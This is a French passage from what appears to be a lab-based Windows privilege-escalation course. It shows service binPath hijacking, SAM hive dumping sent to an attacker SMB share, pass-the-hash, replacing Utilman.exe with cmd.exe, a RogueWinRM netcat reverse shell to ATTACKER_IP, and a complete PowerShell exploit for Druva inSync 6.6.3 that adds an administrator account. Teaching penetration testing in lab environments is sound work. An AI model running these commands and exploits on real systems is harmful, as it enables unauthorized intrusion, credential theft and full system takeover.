C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

Notez que nous pouvons utiliser n'importe quel compte pour exécuter le service. Nous avons choisi
LocalSystem car il s'agit du compte le plus privilégié disponible. Pour déclencher notre charge utile, il
ne reste plus qu'à redémarrer le service :

Invite de commandes
C:\> sc stop THMService

C:\> sc start THMService

Et nous recevrons un shell dans la machine de notre attaquant avec les privilèges SYSTEM :

Kali Linux
user@attackerpc$ nc -lvp 4447

Listening on 0.0.0.0 4447

Connection received on 10.10.175.90 50650

Microsoft Windows [Version 10.0.17763.1821]

(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

NT AUTHORITY\SYSTEM

Sommaire 54
 3.5 Abus de privilèges dangereux
Les privilèges sont des droits dont dispose un compte pour effectuer des tâches spécifiques liées au
système. Ces tâches peuvent être aussi simples que le privilège d'arrêter la machine jusqu'aux
privilèges permettant de contourner certains contrôles d'accès basés sur DACL.

Chaque utilisateur dispose d'un ensemble de privilèges attribués qui peuvent être vérifiés avec la
commande suivante :

whoami /priv

Une liste complète des privilèges disponibles sur les systèmes Windows est disponible ici . Du point
de vue d'un attaquant, seuls les privilèges qui nous permettent d'escalader le système sont
intéressants. Vous pouvez trouver une liste complète des privilèges exploitables sur le Priv2Admin
Github.

Bien que nous n'examinions pas chacun d'eux, nous montrerons comment abuser de certains des
privilèges les plus courants que vous pouvez trouver.

SeBackup / SeRestore

Les privilèges SeBackup et SeRestore permettent aux utilisateurs de lire et d'écrire dans n'importe
quel fichier du système, en ignorant toute DACL en place. L'idée derrière ce privilège est de permettre
à certains utilisateurs d'effectuer des sauvegardes à partir d'un système sans avoir besoin de
privilèges administratifs complets.

Disposant de ce pouvoir, un attaquant peut facilement élever les privilèges sur le système en utilisant
de nombreuses techniques. Celui que nous allons examiner consiste à copier les ruches de registre
SAM et SYSTEM pour extraire le hachage du mot de passe de l'administrateur local.

Ce compte fait partie du groupe "Opérateurs de sauvegarde", qui dispose par défaut des privilèges
SeBackup et SeRestore. Nous devrons ouvrir une invite de commande en utilisant l'option "Ouvrir en
tant qu'administrateur" pour utiliser ces privilèges. Il nous sera demandé de saisir à nouveau notre mot
de passe pour obtenir une console élevée :

Une fois sur l'invite de commande, nous pouvons vérifier nos privilèges avec la commande suivante :

Invite de commandes
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Sommaire 55
Pour sauvegarder les hachages SAM et SYSTEM, nous pouvons utiliser les commandes suivantes :

Invite de commandes
C:\> reg save hklm\system C:\Users\THMBackup\system.hive

The operation completed successfully.

C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive

The operation completed successfully.

Cela créera quelques fichiers avec le contenu des ruches du registre. Nous pouvons maintenant
copier ces fichiers sur notre machine attaquante en utilisant SMB ou toute autre méthode disponible.
Pour les PME, nous pouvons utiliser impacket's smbserver.pypour démarrer un serveur SMB simple
avec un partage réseau dans le répertoire courant de notre AttackBox :

Kali Linux
user@attackerpc$ mkdir share

user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username

THMBackup -password CopyMaster555 public share

Cela créera un partage nommé publicpointant vers le sharerépertoire, qui nécessite le nom
d'utilisateur et le mot de passe de notre session Windows en cours. Après cela, nous pouvons utiliser
le copycommande dans notre machine Windows pour transférer les deux fichiers vers notre
AttackBox :

Invite de commandes
C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\

C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

Et utilisez impacket pour récupérer les hachages de mots de passe des utilisateurs :

Kali Linux
user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system
system.hive LOCAL

Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Nous pouvons enfin utiliser le hachage de l'administrateur pour effectuer une attaque Pass-the-Hash
et accéder à la machine cible avec les privilèges SYSTEM :

Sommaire 56
Kali Linux
user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes
aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94
administrator@MACHINE_IP

Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 10.10.175.90.....

[*] Found writable share ADMIN$

[*] Uploading file nfhtabqO.exe

[*] Opening SVCManager on 10.10.175.90.....

[*] Creating service RoLE on 10.10.175.90.....

[*] Starting service RoLE.....

[!] Press help for extra shell commands

Microsoft Windows [Version 10.0.17763.1821]

(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami

nt authority\system

SeTakeOwnership

Le privilège SeTakeOwnership permet à un utilisateur de prendre possession de n'importe quel objet

sur le système, y compris les fichiers et les clés de registre, ouvrant de nombreuses possibilités pour
un attaquant d'élever les privilèges, comme nous pourrions, par exemple, rechercher un service
fonctionnant en tant que SYSTEM et prendre possession de l'exécutable du service. Pour cette tâche,
nous emprunterons cependant un chemin différent.

Pour obtenir le privilège SeTakeOwnership, nous devons ouvrir une invite de commande en utilisant
l'option "Ouvrir en tant qu'administrateur". Il nous sera demandé de saisir notre mot de passe pour
obtenir une console surélevée :

Une fois sur l'invite de commande, nous pouvons vérifier nos privilèges avec la commande suivante :

Sommaire 57
Invite de commandes
C:\> whoami /priv

PRIVILEGES INFORMATION

----------------------

Privilege Name Description State

============================= ========================================
========

SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled

SeChangeNotifyPrivilege Bypass traverse checking Enabled

SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Nous allons abuser utilman.exe pour élever les privilèges cette fois. Utilman est une application
Windows intégrée utilisée pour fournir des options de facilité d'accès pendant l'écran de verrouillage :

Étant donné qu'Utilman est exécuté avec les privilèges SYSTEM, nous obtiendrons effectivement les
privilèges SYSTEM si nous remplaçons le binaire d'origine pour toute charge utile que nous aimons.
Comme nous pouvons nous approprier n'importe quel fichier, le remplacer est anodin.

Pour remplacer utilman, on va commencer par s'en approprier avec la commande suivante :

Invite de commandes
C:\> takeown /f C:\Windows\System32\Utilman.exe

SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user

"WINPRIVESC2\thmtakeownership".

Sommaire 58
Notez qu'être le propriétaire d'un fichier ne signifie pas nécessairement que vous avez des privilèges
sur celui-ci, mais en tant que propriétaire, vous pouvez vous attribuer tous les privilèges dont vous
avez besoin. Pour donner à votre utilisateur des autorisations complètes sur utilman.exe, vous pouvez
utiliser la commande suivante :

Invite de commandes
C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F

processed file: Utilman.exe

Successfully processed 1 files; Failed processing 0 files

Après cela, nous remplacerons utilman.exe par une copie de cmd.exe :

Invite de commandes
C:\Windows\System32\> copy cmd.exe utilman.exe

1 file(s) copied.

Pour déclencher utilman, on va verrouiller notre écran depuis le bouton

démarrer :

Et enfin, cliquez sur le bouton "Facilité d'accès", qui exécute utilman.exe

avec les privilèges SYSTEM. Puisque nous l'avons remplacé par une copie
cmd.exe, nous obtiendrons une invite de commande avec les privilèges
SYSTEM :

Sommaire 59
SeImpersonate / SeAssignPrimaryToken

Ces privilèges permettent à un processus de se faire passer pour d'autres utilisateurs et d'agir en leur
nom. L'emprunt d'identité consiste généralement à pouvoir générer un processus ou un thread dans le
contexte de sécurité d'un autre utilisateur.

L'usurpation d'identité est facile à comprendre lorsque vous réfléchissez au fonctionnement d'un FTP .
Le serveur FTP doit interdire aux utilisateurs d'accéder uniquement aux fichiers qu'ils doivent être
autorisés à voir.

Supposons que nous ayons un FTP en cours d'exécution avec l'utilisateur ftp. Sans emprunt d'identité,
si l'utilisateur Ann se connecte au FTP et essaie d'accéder à ses fichiers, le service FTP tentera d'y
accéder avec son jeton d'accès plutôt qu'avec celui d'Ann :

Il y a plusieurs raisons pour lesquelles l'utilisation du jeton de ftp n'est pas la meilleure idée : - Pour
que les fichiers soient servis correctement, ils doivent être accessibles au ftp utilisateur. Dans
l'exemple ci-dessus, le FTP serait en mesure d'accéder aux fichiers d'Ann, mais pas aux fichiers de
Bill, car le DACL dans les fichiers de Bill n'autorise pas l'utilisateur ftp. Cela ajoute de la complexité car
nous devons configurer manuellement des autorisations spécifiques pour chaque fichier/répertoire
servi. - Pour le système d'exploitation, tous les fichiers sont accessibles par l'utilisateur ftp, quel que
soit l'utilisateur actuellement connecté au FTP. Cela rend impossible la délégation de l'autorisation au
système d'exploitation ; par conséquent, le service FTP doit l'implémenter. - Si le service FTP était
compromis à un moment donné, l'attaquant aurait immédiatement accès à tous les dossiers auxquels
l'utilisateur ftp a accès.

Si, d'autre part, FTP a le privilège SeImpersonate ou SeAssignPrimaryToken, tout cela est un peu
simplifié, car le service FTP peut saisir temporairement le jeton d'accès de l'utilisateur qui se connecte
et l'utiliser pour effectuer n'importe quelle tâche sur son au nom de:

Sommaire 60
Maintenant, si l'utilisateur Ann se connecte au FTP et étant donné que l'utilisateur ftp a des privilèges
d'emprunt d'identité, il peut emprunter le jeton d'accès d'Ann et l'utiliser pour accéder à ses fichiers. De
cette façon, les fichiers n'ont pas besoin de fournir l'accès à l'utilisateur ftp de quelque manière que ce
soit, et le système d'exploitation gère l'autorisation. Étant donné que le FTP se fait passer pour Ann, il
ne pourra pas accéder aux fichiers de Jude ou de Bill pendant cette session.

En tant qu'attaquants, si nous parvenons à prendre le contrôle d'un processus avec les privilèges
SeImpersonate ou SeAssignPrimaryToken, nous pouvons usurper l'identité de tout utilisateur se
connectant et s'authentifiant auprès de ce processus.

Dans les systèmes Windows, vous constaterez que les COMPTES DE SERVICE LOCAL et DE
SERVICE RÉSEAU disposent déjà de tels privilèges. Étant donné que ces comptes sont utilisés pour
générer des services à l'aide de comptes restreints, il est logique de leur permettre de se faire passer
pour des utilisateurs connectés si le service en a besoin. Internet Information Services (IIS) créera
également un compte par défaut similaire appelé "iis apppool\defaultapppool" pour les applications
Web.

Pour élever les privilèges à l'aide de tels comptes, un attaquant a besoin des éléments suivants : 1.
Pour lancer un processus afin que les utilisateurs puissent s'y connecter et s'y authentifier pour que
l'usurpation d'identité se produise. 2. Trouvez un moyen de forcer les utilisateurs privilégiés à se
connecter et à s'authentifier auprès du processus malveillant généré.

Nous utiliserons l'exploit RogueWinRM pour remplir les deux conditions.

Commençons par supposer que nous avons déjà compromis un site Web fonctionnant sur IIS et que
nous avons installé un shell Web à l'adresse suivante :

http://MACHINE_IP/

Nous pouvons utiliser le shell Web pour vérifier les privilèges attribués au compte compromis et
confirmer que nous détenons les deux privilèges d'intérêt pour cette tâche :

Pour utiliser RogueWinRM, nous devons d'abord télécharger l'exploit sur la machine cible. Pour votre
commodité, cela a déjà été fait, et vous pouvez trouver l'exploit dans le C:\tools\dossier.

L'exploit RogueWinRM est possible car chaque fois qu'un utilisateur (y compris les utilisateurs non
privilégiés) démarre le service BITS dans Windows, il crée automatiquement une connexion au port
5985 en utilisant les privilèges SYSTEM. Le port 5985 est généralement utilisé pour le service WinRM,
qui est simplement un port qui expose une console Powershell à utiliser à distance via le réseau.
Pensez-y comme SSH, mais en utilisant Powershell.
Sommaire 61
Si, pour une raison quelconque, le service WinRM ne s'exécute pas sur le serveur victime, un
attaquant peut démarrer un faux service WinRM sur le port 5985 et intercepter la tentative
d'authentification effectuée par le service BITS au démarrage. Si l'attaquant dispose des privilèges
SeImpersonate, il peut exécuter n'importe quelle commande au nom de l'utilisateur qui se connecte,
c'est-à-dire SYSTEM.

Avant d'exécuter l'exploit, nous allons démarrer un écouteur netcat pour recevoir un reverse shell sur
la machine de notre attaquant :

Kali Linux
user@attackerpc$ nc -lvp 4442

Et ensuite, utilisez notre shell Web pour déclencher l'exploit RogueWinRM à l'aide de la commande
suivante :

c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"

Remarque : L'exploit peut prendre jusqu'à 2 minutes pour fonctionner, de sorte que votre navigateur
peut apparaître comme ne répondant pas pendant un moment. Cela se produit si vous exécutez
l'exploit plusieurs fois car il doit attendre que le service BITS s'arrête avant de le redémarrer. Le
service BITS s'arrêtera automatiquement après 2 minutes de démarrage.

Le paramètre -p spécifie l'exécutable à exécuter par l'exploit, qui est nc64.exedans ce cas. La -aLe
paramètre est utilisé pour passer des arguments à l'exécutable. Puisque nous voulons que nc64
établisse un reverse shell contre notre machine attaquante, les arguments à passer à netcat seront -e
cmd.exe ATTACKER_IP 4442.

Si tout a été correctement configuré, vous devriez vous attendre à un shell avec les privilèges
SYSTEM :

Kali Linux
user@attackerpc$ nc -lvp 4442
Listening on 0.0.0.0 4442
Connection received on 10.10.175.90 49755
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
nt authority\system
Sommaire 62
 3.6 Abus de logiciels vulnérables

Logiciel non corrigé

Les logiciels installés sur le système cible peuvent présenter diverses opportunités d'élévation de
privilèges. Comme pour les pilotes, les organisations et les utilisateurs peuvent ne pas les mettre à
jour aussi souvent qu'ils mettent à jour le système d'exploitation. Vous pouvez utiliser le wmicoutil pour
répertorier les logiciels installés sur le système cible et leurs versions. La commande ci-dessous videra
les informations qu'elle peut recueillir sur le logiciel installé (cela peut prendre environ une minute pour
se terminer) :

wmic product get name,version,vendor

Rappelez-vous que le wmic productLa commande peut ne pas renvoyer tous les programmes
installés. Selon la façon dont certains programmes ont été installés, ils peuvent ne pas être répertoriés
ici. Il vaut toujours la peine de vérifier les raccourcis du bureau, les services disponibles ou
généralement toute trace indiquant l'existence de logiciels supplémentaires qui pourraient être
vulnérables.

Une fois que nous avons rassemblé les informations sur la version du produit, nous pouvons toujours
rechercher en ligne les exploits existants sur le logiciel installé sur des sites tels que exploit-db ,
packet storm ou plain old Google , parmi tant d'autres.

En utilisant wmic et Google, pouvez-vous trouver une vulnérabilité connue sur n'importe quel produit
installé ?

Étude de cas : Druva inSync 6.6.3

Le serveur cible exécute Druva inSync 6.6.3, qui est vulnérable à l'élévation des privilèges, comme l'a
signalé Matteo Malvica . La vulnérabilité résulte d'un mauvais patch appliqué sur une autre
vulnérabilité signalée initialement pour la version 6.5.0 par Chris Lyne .

Le logiciel est vulnérable car il exécute un serveur RPC (Remote Procedure Call) sur le port 6064 avec
les privilèges SYSTEM, accessible depuis localhost uniquement. Si vous n'êtes pas familier avec
RPC, il s'agit simplement d'un mécanisme qui permet à un processus donné d'exposer des fonctions
(appelées procédures dans le jargon RPC) sur le réseau afin que d'autres machines puissent les
appeler à distance.

Dans le cas de Druva inSync, l'une des procédures exposées (en particulier la procédure numéro 5)
sur le port 6064 permettait à quiconque de demander l'exécution de n'importe quelle commande. Étant
donné que le serveur RPC s'exécute en tant que SYSTEM, toute commande est exécutée avec les
privilèges SYSTEM.

La vulnérabilité d'origine signalée sur les versions 6.5.0 et antérieures permettait à n'importe quelle
commande d'être exécutée sans restriction. L'idée originale derrière la fourniture d'une telle
fonctionnalité était d'exécuter à distance certains fichiers binaires spécifiques fournis avec inSync,
plutôt que n'importe quelle commande. Pourtant, aucune vérification n'a été faite pour s'en assurer.

Un correctif a été publié, où ils ont décidé de vérifier que la commande exécutée commençait par la
chaîne C:\ProgramData\Druva\inSync4\, où les fichiers binaires autorisés étaient censés se trouver.
Mais ensuite, cela s'est avéré insuffisant puisque vous pouviez simplement faire une attaque par
traversée de chemin pour contourner ce type de contrôle. Supposons que vous vouliez exécuter
C:\Windows\System32\cmd.exe, qui n'est pas dans le chemin autorisé ; vous pouvez simplement
demander au serveur de s'exécuter

Sommaire 63
C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exeet cela contournerait le contrôle
avec succès.

Pour mettre en place un exploit fonctionnel, nous devons comprendre comment parler au port 6064.
Heureusement pour nous, le protocole utilisé est simple et les paquets à envoyer sont représentés
dans le schéma suivant :

Le premier paquet est simplement un paquet hello qui contient une chaîne fixe. Le deuxième paquet
indique que nous voulons exécuter la procédure numéro 5, car c'est la procédure vulnérable qui
exécutera n'importe quelle commande pour nous. Les deux derniers paquets sont utilisés pour
envoyer la longueur de la commande et la chaîne de commande à exécuter, respectivement.

Initialement publié par Matteo Malvica ici , l'exploit suivant peut être utilisé sur votre machine cible
pour élever les privilèges et récupérer l'indicateur de cette tâche. Pour votre commodité, voici le code
original de l'exploit :

$ErrorActionPreference = "Stop"
$cmd = "net user pwnd /add"
$s = New-Object System.Net.Sockets.Socket(
[System.Net.Sockets.AddressFamily]::InterNetwork,
[System.Net.Sockets.SocketType]::Stream,
[System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)
$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command =
[System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32
\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);
$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

Vous pouvez ouvrir une console Powershell et coller l'exploit directement pour l'exécuter (l'exploit est
également disponible sur la machine cible à C:\tools\Druva_inSync_exploit.txt). Notez que la charge
utile par défaut de l'exploit, spécifiée dans le $cmdvariable, créera un utilisateur nommé pwnddans le
système, mais ne lui attribuera pas de privilèges administratifs, nous voudrons donc probablement
changer la charge utile pour quelque chose de plus utile. Pour cette salle, nous allons modifier la
charge utile pour exécuter la commande suivante :

net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add

Sommaire 64
Cela créera un utilisateur pwnd avec un mot de passe de SimplePass123et ajoutez-le au groupe des
administrateurs. Si l'exploit a réussi, vous devriez pouvoir exécuter la commande suivante pour vérifier
que l'utilisateur pwnd existe et fait partie du groupe des administrateurs :

Invite de commandes
PS C:\> net user pwnd
User name pwnd
Full Name
Account active Yes
[...]
Local Group Memberships *Administrators *Users
Global Group memberships *None

En dernier lieu, vous pouvez exécuter une invite de commande en

tant qu'administrateur :

Lorsque vous êtes invité à fournir des informations d'identification,

utilisez le compte pwnd

3.6 Outils du métier

Plusieurs scripts existent pour effectuer l'énumération du système de manière similaire à ceux vus
dans la tâche précédente. Ces outils peuvent raccourcir le temps de processus d'énumération et
découvrir différents privilèges potentiels vecteurs d'escalade. Toutefois, n'oubliez pas que les outils
automatisés peuvent ratent parfois l'escalade de privilèges.

Vous trouverez ci-dessous quelques outils couramment utilisés pour identifier les vecteurs d'escalade
de privilèges. N'hésitez pas à les exécuter contre l'une des machines de cette salle et voyez si les
résultats correspondent aux vecteurs d'attaque discutés.

WinPEAS

WinPEAS est un script développé pour énumérer le système cible afin de découvrir les chemins
d'escalade des privilèges. Vous pouvez trouver plus d'informations sur winPEAS et télécharger soit
l'exécutable précompilé, soit un script .bat. WinPEAS exécutera des commandes similaires à celles
répertoriées dans la tâche précédente et imprimera leur sortie. La sortie de winPEAS peut être longue
et parfois difficile à lire. C'est pourquoi il serait bon de toujours rediriger la sortie vers un fichier,
comme indiqué ci-dessous :

Invite de commandes
C:\> winpeas.exe > outputfile.txt

WinPEAS peut être téléchargé ici .

Sommaire 65
PrivescCheck

PrivescCheck est un script PowerShell qui recherche l'escalade de privilèges commune sur le système
cible. Il fournit une alternative à WinPEAS sans nécessiter l'exécution d'un fichier binaire.

PrivescCheck peut être téléchargé ici .

Rappel : Pour exécuter PrivescCheck sur le système cible, vous devrez peut-être contourner les
restrictions de la politique d'exécution. Pour y parvenir, vous pouvez utiliser le Set-
ExecutionPolicyapplet de commande comme indiqué ci-dessous.

Powershell
PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force

PS C:\> . .\PrivescCheck.ps1

PS C:\> Invoke-PrivescCheck

WES-NG : suggestion d'exploit Windows - nouvelle génération

Certains exploits suggérant des scripts (par exemple winPEAS) vous obligeront à les télécharger sur
le système cible et à les y exécuter. Cela peut amener un logiciel antivirus à les détecter et à les
supprimer. Pour éviter de faire des bruits inutiles pouvant attirer l'attention, vous préférerez peut-être
utiliser WES-NG, qui fonctionnera sur votre machine attaquante (par exemple Kali ou TryHackMe
AttackBox).

WES-NG est un script Python qui peut être trouvé et téléchargé ici .

Une fois installé, et avant de l'utiliser, tapez le wes.py --updatecommande pour mettre à jour la base
de données. Le script fera référence à la base de données qu'il crée pour vérifier les correctifs
manquants qui peuvent entraîner une vulnérabilité que vous pouvez utiliser pour élever vos privilèges
sur le système cible.

Pour utiliser le script, vous devrez exécuter le systeminfocommande sur le système cible. N'oubliez
pas de diriger la sortie vers un fichier .txt que vous devrez déplacer sur votre machine attaquante.

Une fois cela fait, wes.py peut être exécuté comme suit ;

Kali Linux
user@kali$ wes.py systeminfo.txt

Metasploit

Si vous avez déjà un shell Meterpreter sur le système cible, vous pouvez utiliser le module
multi/recon/local_exploit_suggester pour répertorier les vulnérabilités susceptibles d'affecter le
système cible et vous permettre d'élever vos privilèges sur le système cible.

Sommaire 66